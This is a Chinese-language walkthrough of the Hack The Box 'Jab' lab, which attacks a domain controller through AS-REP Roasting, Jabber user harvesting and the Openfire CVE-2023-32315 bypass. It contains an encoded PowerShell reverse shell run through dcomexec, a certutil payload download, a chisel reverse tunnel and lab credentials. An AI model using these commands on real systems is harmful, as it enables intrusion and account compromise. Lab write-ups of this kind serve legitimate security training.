Hack The Box-Jab靶机,官方难度为Medium,主要是域控的一些攻击利用方法、Jabber服务利用以及Openfire的CVE-2023-32315RCE漏洞利用

Nmap扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(kali㉿kali)-[~/box/jab]          
└─$ sudo nmap -sT --min-rate 10000 -p- 10.10.11.4 -oA nmap/ports
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 22:51 EDT
Nmap scan report for 10.10.11.4
Host is up (0.25s latency).
Not shown: 65499 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5222/tcp open xmpp-client
5223/tcp open hpvirtgrp
5262/tcp open unknown
5263/tcp open unknown
5269/tcp open xmpp-server
5270/tcp open xmp
5275/tcp open unknown
5276/tcp open unknown
5985/tcp open wsman
7070/tcp open realserver
7443/tcp open oracleas-https
7777/tcp open cbt
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49676/tcp open unknown
49681/tcp open unknown
49772/tcp open unknown
50286/tcp open unknown

初步看这是一台域控,其中开放了445,5222等端口

整理扫描出来的端口,做进一步扫描

AS-REP Roasting攻击利用

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账户设置“不要求Kerberos预身份验证”选项,而该选项是默认没有勾选上的。Kerberos预身份验证发送在Kerberos身份验证的第一阶段(AS_REQ&AS-REP),它的主要作用是防止密码离线爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。 当关闭了预身份验证后,攻击者可以使用指定用户向域控的88Kerberos端口去请求票据,此时域控不会作任何验证就将TGT认购权证和该用户Hash加密的Login Session Key返回。因此攻击者就可以对获取到的 用户Hash加密的Login Session Key进行离线破解,如果字典足够强大,就能破解得到该指定用户的明文密码

尝试使用kernrute枚举用户

1
./kerbrute userenum --dc 10.10.11.4 -d jab.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

枚举出太多用户了,先尝试一下AS-REP Roasting攻击

没找到不需要Kerberos预身份验证的用户,之前看到扫描出了5222,5269端口,那就再试试Jabber服务

Jabber服务利用

先安装pidgin

第一次进入,先创建一个用户,协议选择XMPP,在advanced中填写靶机的ip地址,勾选底下的新建账户选项,点击确认创建用户

填写刚刚的用户名信息,注册成功

登录进去可以看看有哪些用户,为再次AS-REP Roasting攻击做准备

*号查询所有用户

可以看到搜索出很多用户,接下来就是把这些用户名导出备用

终端输入以下命令以日志的形式导出,然后重新登陆刚刚的用户,再打开搜索用户列表,搜索完后退出,打开日志查看即可

1
pidgin -d > pidgin.log

过滤一下日志信息

1
grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' pidgin.log | sed 's/@jab.htb//g' | sort | uniq > user

重新AS-REP Roasting攻击

1
GetNPUsers.py jab.htb/ -usersfile user -dc-ip 10.10.11.4 -no-pass -outputfile keruser.txt

找到3条hash值

使用john破解一下,解出jmontgomery的密码

使用此账号密码登录一下Jabber,翻看聊天室,找到一组用户名密码:svc_openfire/!@#$%^&*(1qazxsw

在刚刚的nmap扫描中看到靶机没有开放5985端口,因此不能使用evil-winrm来登录,这里使用dcomexec

1
dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwACIALAAyADIAMgAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==' -silentcommand

拿到Userflag

内网提权

信息收集时看到Openfire的web端9090端口处于开放状态,但是处于内网,于是先代理出来看看有没有可利用的点,这里使用的是chisel

1
certutil.exe -urlcache -split -f http://10.10.14.10/chisel.exe
1
2
服务端:./chisel server -p 6666 --reverse
客户端:./chisel.exe client 10.10.14.10:6666 R:9090:127.0.0.1:9090

利用刚刚获取到的用户名密码可以登录成功:svc_openfire/!@#$%^&*(1qazxsw

通过搜索openfire相关漏洞,找到了CVE-2023-32315

漏洞利用项目地址:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass

到openfire上传插件

访问该插件,密码123

执行命令直接是系统权限

再利用系统权限反弹一个shell

得到rootflag